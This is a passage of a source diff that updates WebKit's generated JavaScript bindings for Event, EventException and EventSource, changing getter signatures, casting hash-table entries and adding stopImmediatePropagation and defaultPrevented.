-    JSEvent* domObject = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* domObject = static_cast<JSEvent*>(asObject(slotBase));
     return JSEvent::getConstructor(exec, domObject->globalObject());
 }
 void JSEvent::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -315,13 +336,15 @@ void JSEvent::put(ExecState* exec, const Identifier& propertyName, JSValue value
 
 void setJSEventReturnValue(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Event* imp = static_cast<Event*>(static_cast<JSEvent*>(thisObject)->impl());
+    JSEvent* castedThisObj = static_cast<JSEvent*>(thisObject);
+    Event* imp = static_cast<Event*>(castedThisObj->impl());
     imp->setReturnValue(value.toBoolean(exec));
 }
 
 void setJSEventCancelBubble(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Event* imp = static_cast<Event*>(static_cast<JSEvent*>(thisObject)->impl());
+    JSEvent* castedThisObj = static_cast<JSEvent*>(thisObject);
+    Event* imp = static_cast<Event*>(castedThisObj->impl());
     imp->setCancelBubble(value.toBoolean(exec));
 }
 
@@ -369,99 +392,111 @@ JSValue JSC_HOST_CALL jsEventPrototypeFunctionInitEvent(ExecState* exec, JSObjec
     return jsUndefined();
 }
 
+JSValue JSC_HOST_CALL jsEventPrototypeFunctionStopImmediatePropagation(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
+{
+    UNUSED_PARAM(args);
+    if (!thisValue.inherits(&JSEvent::s_info))
+        return throwError(exec, TypeError);
+    JSEvent* castedThisObj = static_cast<JSEvent*>(asObject(thisValue));
+    Event* imp = static_cast<Event*>(castedThisObj->impl());
+
+    imp->stopImmediatePropagation();
+    return jsUndefined();
+}
+
 // Constant getters
 
-JSValue jsEventCAPTURING_PHASE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventCAPTURING_PHASE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsEventAT_TARGET(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventAT_TARGET(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsEventBUBBLING_PHASE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventBUBBLING_PHASE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(3));
 }
 
-JSValue jsEventMOUSEDOWN(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventMOUSEDOWN(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsEventMOUSEUP(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventMOUSEUP(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsEventMOUSEOVER(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventMOUSEOVER(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(4));
 }
 
-JSValue jsEventMOUSEOUT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventMOUSEOUT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(8));
 }
 
-JSValue jsEventMOUSEMOVE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventMOUSEMOVE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(16));
 }
 
-JSValue jsEventMOUSEDRAG(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventMOUSEDRAG(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(32));
 }
 
-JSValue jsEventCLICK(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventCLICK(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(64));
 }
 
-JSValue jsEventDBLCLICK(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventDBLCLICK(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(128));
 }
 
-JSValue jsEventKEYDOWN(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventKEYDOWN(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(256));
 }
 
-JSValue jsEventKEYUP(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventKEYUP(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(512));
 }
 
-JSValue jsEventKEYPRESS(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventKEYPRESS(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1024));
 }
 
-JSValue jsEventDRAGDROP(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventDRAGDROP(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2048));
 }
 
-JSValue jsEventFOCUS(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventFOCUS(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(4096));
 }
 
-JSValue jsEventBLUR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventBLUR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(8192));
 }
 
-JSValue jsEventSELECT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventSELECT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(16384));
 }
 
-JSValue jsEventCHANGE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventCHANGE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(32768));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEvent.h b/src/3rdparty/webkit/WebCore/generated/JSEvent.h
index 0249fe1..bb5e141 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEvent.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSEvent.h
@@ -21,7 +21,6 @@
 #ifndef JSEvent_h
 #define JSEvent_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -44,7 +43,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -72,7 +71,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSEventPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -84,43 +83,45 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsEventPrototypeFunctionStopPropagation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsEventPrototypeFunctionPreventDefault(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsEventPrototypeFunctionInitEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
+JSC::JSValue JSC_HOST_CALL jsEventPrototypeFunctionStopImmediatePropagation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsEventType(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventTarget(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventCurrentTarget(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventEventPhase(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventBubbles(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventCancelable(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventTimeStamp(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventSrcElement(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventReturnValue(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventType(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventTarget(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventCurrentTarget(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventEventPhase(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventBubbles(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventCancelable(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventTimeStamp(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventDefaultPrevented(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventSrcElement(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventReturnValue(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSEventReturnValue(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsEventCancelBubble(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventCancelBubble(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSEventCancelBubble(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsEventClipboardData(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventClipboardData(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsEventCAPTURING_PHASE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventAT_TARGET(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventBUBBLING_PHASE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventMOUSEDOWN(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventMOUSEUP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventMOUSEOVER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventMOUSEOUT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventMOUSEMOVE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventMOUSEDRAG(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventCLICK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventDBLCLICK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventKEYDOWN(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventKEYUP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventKEYPRESS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventDRAGDROP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventFOCUS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventBLUR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventSELECT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventCHANGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventCAPTURING_PHASE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventAT_TARGET(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventBUBBLING_PHASE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventMOUSEDOWN(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventMOUSEUP(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventMOUSEOVER(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventMOUSEOUT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventMOUSEMOVE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventMOUSEDRAG(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventCLICK(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventDBLCLICK(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventKEYDOWN(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventKEYUP(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventKEYPRESS(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventDRAGDROP(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventFOCUS(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventBLUR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventSELECT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventCHANGE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEventException.cpp b/src/3rdparty/webkit/WebCore/generated/JSEventException.cpp
index bd25734..0851732 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEventException.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSEventException.cpp
@@ -38,10 +38,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSEventException);
 
 static const HashTableValue JSEventExceptionTableValues[5] =
 {
-    { "code", DontDelete|ReadOnly, (intptr_t)jsEventExceptionCode, (intptr_t)0 },
-    { "name", DontDelete|ReadOnly, (intptr_t)jsEventExceptionName, (intptr_t)0 },
-    { "message", DontDelete|ReadOnly, (intptr_t)jsEventExceptionMessage, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsEventExceptionConstructor, (intptr_t)0 },
+    { "code", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventExceptionCode), (intptr_t)0 },
+    { "name", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventExceptionName), (intptr_t)0 },
+    { "message", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventExceptionMessage), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventExceptionConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -56,7 +56,7 @@ static JSC_CONST_HASHTABLE HashTable JSEventExceptionTable =
 
 static const HashTableValue JSEventExceptionConstructorTableValues[2] =
 {
-    { "UNSPECIFIED_EVENT_TYPE_ERR", DontDelete|ReadOnly, (intptr_t)jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR, (intptr_t)0 },
+    { "UNSPECIFIED_EVENT_TYPE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -81,7 +81,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -104,8 +104,8 @@ bool JSEventExceptionConstructor::getOwnPropertyDescriptor(ExecState* exec, cons
 
 static const HashTableValue JSEventExceptionPrototypeTableValues[3] =
 {
-    { "UNSPECIFIED_EVENT_TYPE_ERR", DontDelete|ReadOnly, (intptr_t)jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR, (intptr_t)0 },
-    { "toString", DontDelete|DontEnum|Function, (intptr_t)jsEventExceptionPrototypeFunctionToString, (intptr_t)0 },
+    { "UNSPECIFIED_EVENT_TYPE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR), (intptr_t)0 },
+    { "toString", DontDelete|DontEnum|Function, (intptr_t)static_cast<NativeFunction>(jsEventExceptionPrototypeFunctionToString), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -169,33 +169,36 @@ bool JSEventException::getOwnPropertyDescriptor(ExecState* exec, const Identifie
     return getStaticValueDescriptor<JSEventException, Base>(exec, getJSEventExceptionTable(exec), this, propertyName, descriptor);
 }
 
-JSValue jsEventExceptionCode(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventExceptionCode(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventException* castedThis = static_cast<JSEventException*>(asObject(slot.slotBase()));
+    JSEventException* castedThis = static_cast<JSEventException*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventException* imp = static_cast<EventException*>(castedThis->impl());
-    return jsNumber(exec, imp->code());
+    JSValue result = jsNumber(exec, imp->code());
+    return result;
 }
 
-JSValue jsEventExceptionName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventExceptionName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventException* castedThis = static_cast<JSEventException*>(asObject(slot.slotBase()));
+    JSEventException* castedThis = static_cast<JSEventException*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventException* imp = static_cast<EventException*>(castedThis->impl());
-    return jsString(exec, imp->name());
+    JSValue result = jsString(exec, imp->name());
+    return result;
 }
 
-JSValue jsEventExceptionMessage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventExceptionMessage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventException* castedThis = static_cast<JSEventException*>(asObject(slot.slotBase()));
+    JSEventException* castedThis = static_cast<JSEventException*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventException* imp = static_cast<EventException*>(castedThis->impl());
-    return jsString(exec, imp->message());
+    JSValue result = jsString(exec, imp->message());
+    return result;
 }
 
-JSValue jsEventExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventException* domObject = static_cast<JSEventException*>(asObject(slot.slotBase()));
+    JSEventException* domObject = static_cast<JSEventException*>(asObject(slotBase));
     return JSEventException::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSEventException::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -218,7 +221,7 @@ JSValue JSC_HOST_CALL jsEventExceptionPrototypeFunctionToString(ExecState* exec,
 
 // Constant getters
 
-JSValue jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEventException.h b/src/3rdparty/webkit/WebCore/generated/JSEventException.h
index 694cbad..e859584 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEventException.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSEventException.h
@@ -21,7 +21,6 @@
 #ifndef JSEventException_h
 #define JSEventException_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -68,7 +67,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSEventExceptionPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -80,13 +79,13 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsEventExceptionPrototypeFunctionToString(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsEventExceptionCode(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventExceptionName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventExceptionMessage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventExceptionCode(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventExceptionName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventExceptionMessage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventExceptionUNSPECIFIED_EVENT_TYPE_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEventSource.cpp b/src/3rdparty/webkit/WebCore/generated/JSEventSource.cpp
index 526d8af..ebf5a56 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEventSource.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSEventSource.cpp
@@ -27,8 +27,6 @@
 #include "Event.h"
 #include "EventListener.h"
 #include "EventSource.h"
-#include "Frame.h"
-#include "JSDOMGlobalObject.h"
 #include "JSEvent.h"
 #include "JSEventListener.h"
 #include "KURL.h"
@@ -48,11 +46,11 @@ ASSERT_CLASS_FITS_IN_CELL(JSEventSource);
 
 static const HashTableValue JSEventSourceTableValues[6] =
 {
-    { "URL", DontDelete|ReadOnly, (intptr_t)jsEventSourceURL, (intptr_t)0 },
-    { "readyState", DontDelete|ReadOnly, (intptr_t)jsEventSourceReadyState, (intptr_t)0 },
-    { "onopen", DontDelete, (intptr_t)jsEventSourceOnopen, (intptr_t)setJSEventSourceOnopen },
-    { "onmessage", DontDelete, (intptr_t)jsEventSourceOnmessage, (intptr_t)setJSEventSourceOnmessage },
-    { "onerror", DontDelete, (intptr_t)jsEventSourceOnerror, (intptr_t)setJSEventSourceOnerror },
+    { "URL", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceURL), (intptr_t)0 },
+    { "readyState", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceReadyState), (intptr_t)0 },
+    { "onopen", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceOnopen), (intptr_t)setJSEventSourceOnopen },
+    { "onmessage", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceOnmessage), (intptr_t)setJSEventSourceOnmessage },
+    { "onerror", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceOnerror), (intptr_t)setJSEventSourceOnerror },
     { 0, 0, 0, 0 }
 };
 
@@ -67,13 +65,13 @@ static JSC_CONST_HASHTABLE HashTable JSEventSourceTable =
 
 static const HashTableValue JSEventSourcePrototypeTableValues[8] =
 {
-    { "CONNECTING", DontDelete|ReadOnly, (intptr_t)jsEventSourceCONNECTING, (intptr_t)0 },
-    { "OPEN", DontDelete|ReadOnly, (intptr_t)jsEventSourceOPEN, (intptr_t)0 },
-    { "CLOSED", DontDelete|ReadOnly, (intptr_t)jsEventSourceCLOSED, (intptr_t)0 },
-    { "close", DontDelete|Function, (intptr_t)jsEventSourcePrototypeFunctionClose, (intptr_t)0 },
-    { "addEventListener", DontDelete|Function, (intptr_t)jsEventSourcePrototypeFunctionAddEventListener, (intptr_t)3 },
-    { "removeEventListener", DontDelete|Function, (intptr_t)jsEventSourcePrototypeFunctionRemoveEventListener, (intptr_t)3 },
-    { "dispatchEvent", DontDelete|Function, (intptr_t)jsEventSourcePrototypeFunctionDispatchEvent, (intptr_t)1 },
+    { "CONNECTING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceCONNECTING), (intptr_t)0 },
+    { "OPEN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceOPEN), (intptr_t)0 },
+    { "CLOSED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSourceCLOSED), (intptr_t)0 },
+    { "close", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventSourcePrototypeFunctionClose), (intptr_t)0 },
+    { "addEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventSourcePrototypeFunctionAddEventListener), (intptr_t)3 },
+    { "removeEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventSourcePrototypeFunctionRemoveEventListener), (intptr_t)3 },
+    { "dispatchEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventSourcePrototypeFunctionDispatchEvent), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -119,14 +117,14 @@ JSEventSource::JSEventSource(NonNullPassRefPtr<Structure> structure, JSDOMGlobal
 
 JSEventSource::~JSEventSource()
 {
-    impl()->invalidateEventListeners();
+    impl()->invalidateJSEventListeners(this);
     forgetDOMObject(this, impl());
 }
 
 void JSEventSource::markChildren(MarkStack& markStack)
 {
     Base::markChildren(markStack);
-    impl()->markEventListeners(markStack);
+    impl()->markJSEventListeners(markStack);
 }
 
 JSObject* JSEventSource::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
@@ -144,54 +142,62 @@ bool JSEventSource::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSEventSource, Base>(exec, getJSEventSourceTable(exec), this, propertyName, descriptor);
 }
 
-JSValue jsEventSourceURL(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventSourceURL(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slot.slotBase()));
+    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(castedThis->impl());
-    return jsString(exec, imp->url());
+    JSValue result = jsString(exec, imp->url());
+    return result;
 }
 
-JSValue jsEventSourceReadyState(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventSourceReadyState(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slot.slotBase()));
+    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(castedThis->impl());
-    return jsNumber(exec, imp->readyState());
+    JSValue result = jsNumber(exec, imp->readyState());
+    return result;
 }
 
-JSValue jsEventSourceOnopen(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventSourceOnopen(ExecState* exec, JSValue slotBase, const Identifier&)
 {
